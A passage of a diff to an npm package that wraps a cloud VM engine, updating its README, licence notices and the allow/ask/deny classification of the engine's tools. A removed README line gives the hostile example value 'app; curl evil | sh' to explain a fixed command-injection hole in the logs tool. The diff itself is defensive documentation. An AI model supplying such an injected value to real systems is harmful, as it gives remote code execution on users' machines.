`dz mutation-gate --package packages/@dzhechkov/cloudru-hub`) that deletes the protection
|
|
70
|
-
and requires the suite to go RED
|
|
71
|
-
|
|
72
|
-
|
|
73
|
-
|
|
74
|
-
|
|
75
|
-
THIRD_PARTY_NOTICES and the SPDX field on every publish
|
|
76
|
-
|
|
77
|
-
LICENSE invariant (ADR-001 Confirmation) and the publishable state.
|
|
92
|
+
and requires the suite to go RED. The registry passed on 2026-10-20 with 13/13
|
|
93
|
+
protections proven:
|
|
94
|
+
|
|
95
|
+
1. **The licence gate stays armed** — the `licenseHold` trigger field remains in
|
|
96
|
+
package.json, so `dz guard` checks LICENSE, the corrected provenance link,
|
|
97
|
+
THIRD_PARTY_NOTICES and the SPDX field on every publish. Pack tests verify the
|
|
98
|
+
corrected API-testing attribution and the publishable state.
|
|
78
99
|
2. **Zero upstream engine bytes** — explicit `files[]` whitelist + a test that walks the
|
|
79
100
|
`npm pack --dry-run` file list rejecting ELF magic, `.go` sources and engine paths.
|
|
80
101
|
3. **The paid-step brake vetoes** — acid fixtures run the emitted hook (`sshpass` → exit 2,
|
|
81
102
|
keyed ssh → 0, `rollout restart` → 2, `rollout status` → 0); the installer refuses to
|
|
82
103
|
report success unless the executed probe blocks.
|
|
83
|
-
4. **`stack_status`
|
|
84
|
-
|
|
85
|
-
|
|
86
|
-
|
|
87
|
-
|
|
88
|
-
|
|
89
|
-
arg RAW into a remote `docker compose logs <service>` run over SSH (`tools.go:1758` →
|
|
90
|
-
`engine/logs.go:61` `cmd += " " + opts.Service` → `Deployer.Exec` → `session.CombinedOutput`
|
|
91
|
-
`internal/deploy/ssh.go:117`), so `service="app; curl evil | sh"` is arbitrary RCE on the
|
|
92
|
-
user's VM. Flipping it back to allow puts that command-injection path behind a silent
|
|
93
|
-
allow and goes RED. (Engine injection flagged to the author — the classifier can only
|
|
94
|
-
prompt, it cannot escape the arg.)
|
|
104
|
+
4. **`stack_status` only observes** — the private Go engine no longer advances planned or
|
|
105
|
+
running jobs on a read; `stack_apply` is the explicit paid action. The Go regression
|
|
106
|
+
test checks repeated status calls, and the classification now permits the read.
|
|
107
|
+
5. **`logs` stays ask** — the engine now shell-quotes its user-controlled `service` as
|
|
108
|
+
one argument, with a regression test for hostile input. It still reaches remote SSH
|
|
109
|
+
and can expose logs, so the proxy does not silently permit it.
|
|
95
110
|
6. **The dialect codename gate is armed** — emptying `forbiddenCodenames` (the positive
|
|
96
111
|
case-insensitive, word-boundary net under the 8-token denylist) goes RED; the denylist
|
|
97
112
|
alone let the bare codename survive 5× in the real-corpus compile (MEASURED). The gate
|
|
@@ -109,23 +124,17 @@ and requires the suite to go RED — 13/13 PROVEN (MEASURED — gate run 2026-08
|
|
|
109
124
|
either scrub goes RED (`dialect-binary-path-leak-scrubbed`,
|
|
110
125
|
`dialect-binary-invocation-leak-scrubbed`).
|
|
111
126
|
|
|
112
|
-
##
|
|
127
|
+
## Platform package status
|
|
113
128
|
|
|
114
|
-
|
|
115
|
-
|
|
116
|
-
|
|
117
|
-
|
|
118
|
-
|
|
119
|
-
3. ⏳ NOT YET: the platform package `@dzhechkov/cloudru-vm-linux-x64` (the binary-carrying
|
|
120
|
-
channel) still requires the ADR-002 trusted-CI build (`-trimpath`, sha256 must equal
|
|
121
|
-
`cloudruHub.binaryHashes['linux-x64']`) + the go-licenses reconciliation in
|
|
122
|
-
THIRD_PARTY_NOTICES before ITS first publication. Until then the engine binary is
|
|
123
|
-
supplied via `$CLOUDRU_VM_BIN` or `~/.cloudru-hub/config.json` (see *Local testing*).
|
|
124
|
-
4. ✅ Published via the repo's standard release flow.
|
|
129
|
+
The separate `@dzhechkov/cloudru-vm-linux-x64@0.2.6` package is installed
|
|
130
|
+
automatically on Linux/x64 unless optional dependencies are disabled. Its static
|
|
131
|
+
build reproduces the pinned SHA-256 and bundles the license and NOTICE files
|
|
132
|
+
of linked Go modules. `CLOUDRU_VM_BIN` and `~/.cloudru-hub/config.json` remain
|
|
133
|
+
available for an explicitly supplied matching binary (see *Local testing*).
|
|
125
134
|
|
|
126
135
|
## Tests
|
|
127
136
|
|
|
128
|
-
`npm test` —
|
|
129
|
-
node:test
|
|
137
|
+
`npm test` — 107 tests, 107 passing (MEASURED — `node --test 'test/*.test.mjs'`, 2026-10-20;
|
|
138
|
+
node:test with `yaml` as the sole runtime dependency). Suite includes the tarball-content gate,
|
|
130
139
|
the post-grant licence gates, the brake acid tests, installer tiering, and dialect
|
|
131
140
|
compilation.
|
package/THIRD_PARTY_NOTICES.md
CHANGED
|
@@ -3,10 +3,11 @@
|
|
|
3
3
|
This npm package itself contains no third-party code (its launcher, adapters, installer
|
|
4
4
|
and tests are original work — see LICENSE Part 1, MIT).
|
|
5
5
|
|
|
6
|
-
This file
|
|
7
|
-
|
|
8
|
-
|
|
9
|
-
|
|
6
|
+
This file provides background for the `cloudru-vm` engine binary that the launcher
|
|
7
|
+
RESOLVES AT RUNTIME. The separate Linux/x64 package carries its own generated inventory
|
|
8
|
+
and full license/NOTICE texts for modules linked into the exact packed binary. The
|
|
9
|
+
current Linux/x64 binary is built with `CGO_ENABLED=0`. The historical table below
|
|
10
|
+
comes from `engine/go.mod` in the
|
|
10
11
|
pinned baseline `hermes-engine-src-20260718.tgz`, sha256
|
|
11
12
|
`007e7cbe851d3ecd78f457f81ae3679904b2fd4dac660a0e349dabcde61bbe5c` — see
|
|
12
13
|
`features/hermes-claude-adaptation/evidence/ENGINE-BASELINE.json`).
|
package/bin/cloudru-hub.js
CHANGED
|
File without changes
|
|
@@ -1,11 +1,11 @@
|
|
|
1
1
|
{
|
|
2
|
-
"$comment": "Golden classification of every cloudru-vm engine tool
|
|
3
|
-
"engineSha256": "
|
|
2
|
+
"$comment": "Golden classification of every cloudru-vm engine tool. allow requires a BEHAVIOUR audit of the handler at the pinned engine SHA proving both axes: (1) observational with no cloud mutation, job advancement or secret return (a local plan write is disclosed), and (2) no user-controlled argument reaching shell/exec/SSH. Shell-reaching tools remain ask even when arguments are quoted. Schema shape alone never proves allow. The old baseline had two hazards: stack_status advanced planned jobs into paid actions and logs inserted an unescaped service into a shell command. In the pinned engine, stack_status reads persisted state only; stack_apply explicitly advances jobs, and logs shell-quotes service. The specific regression tests are in go/cloudru-vm/internal/mcp/stack_status_test.go and internal/engine/logs_test.go. Any unknown live tool fails drift checks; deny by default.",
|
|
3
|
+
"engineSha256": "4463b09323c9dfe0c32d618d335734a947e7fab0a75d07a7bea089b97a97c9b6",
|
|
4
4
|
"toolCount": 144,
|
|
5
5
|
"counts": {
|
|
6
|
-
"ask":
|
|
6
|
+
"ask": 64,
|
|
7
7
|
"deny": 2,
|
|
8
|
-
"allow":
|
|
8
|
+
"allow": 78
|
|
9
9
|
},
|
|
10
10
|
"tools": {
|
|
11
11
|
"deploy": {
|
|
@@ -46,7 +46,7 @@
|
|
|
46
46
|
"logs": {
|
|
47
47
|
"effect": "shell-reach",
|
|
48
48
|
"permission": "ask",
|
|
49
|
-
"why": "
|
|
49
|
+
"why": "shell-reach: handleLogs (tools.go:1758) passes user-controlled service to engine.Logs, which now shell-quotes it (engine/logs.go:61; regression internal/engine/logs_test.go). Still ask because it invokes remote SSH/compose and may return sensitive logs."
|
|
50
50
|
},
|
|
51
51
|
"destroy": {
|
|
52
52
|
"effect": "mutating",
|
|
@@ -711,7 +711,7 @@
|
|
|
711
711
|
"stack_plan": {
|
|
712
712
|
"effect": "read-only",
|
|
713
713
|
"permission": "allow",
|
|
714
|
-
"why": "behaviour-audited:
|
|
714
|
+
"why": "behaviour-audited: handleStackPlan (tools_stack.go:297) makes read-only lookups and persists a LOCAL planned job file only (job.Save); only stack_apply advances it."
|
|
715
715
|
},
|
|
716
716
|
"stack_apply": {
|
|
717
717
|
"effect": "mutating",
|
|
@@ -719,9 +719,9 @@
|
|
|
719
719
|
"why": "engine schema declares confirmed prop (gated upstream; belt-plus-braces per ADR-004 §3)"
|
|
720
720
|
},
|
|
721
721
|
"stack_status": {
|
|
722
|
-
"effect": "
|
|
723
|
-
"permission": "
|
|
724
|
-
"why": "
|
|
722
|
+
"effect": "read-only",
|
|
723
|
+
"permission": "allow",
|
|
724
|
+
"why": "behaviour-audited read-only: handleStackStatus (tools_stack.go:451) loads and returns the persisted job; no advance, callTool, state write or cloud mutation. stack_apply is the explicit advancing action. Regression: internal/mcp/stack_status_test.go."
|
|
725
725
|
},
|
|
726
726
|
"stack_destroy": {
|
|
727
727
|
"effect": "mutating",
|
|
@@ -1,17 +1,17 @@
|
|
|
1
1
|
{
|
|
2
|
-
"capturedAt": "2026-
|
|
3
|
-
"engineVersion": "cloudru-vm 0.2.
|
|
4
|
-
"engineSha256": "
|
|
5
|
-
"method": "
|
|
2
|
+
"capturedAt": "2026-10-20",
|
|
3
|
+
"engineVersion": "cloudru-vm 0.2.6-20261020",
|
|
4
|
+
"engineSha256": "4463b09323c9dfe0c32d618d335734a947e7fab0a75d07a7bea089b97a97c9b6",
|
|
5
|
+
"method": "JSON-RPC tools/list via src/probe-child.js against locally built private engine",
|
|
6
6
|
"toolCount": 144,
|
|
7
7
|
"tools": [
|
|
8
8
|
{
|
|
9
9
|
"name": "deploy",
|
|
10
|
-
"gated":
|
|
10
|
+
"gated": true
|
|
11
11
|
},
|
|
12
12
|
{
|
|
13
13
|
"name": "provision",
|
|
14
|
-
"gated":
|
|
14
|
+
"gated": true
|
|
15
15
|
},
|
|
16
16
|
{
|
|
17
17
|
"name": "status",
|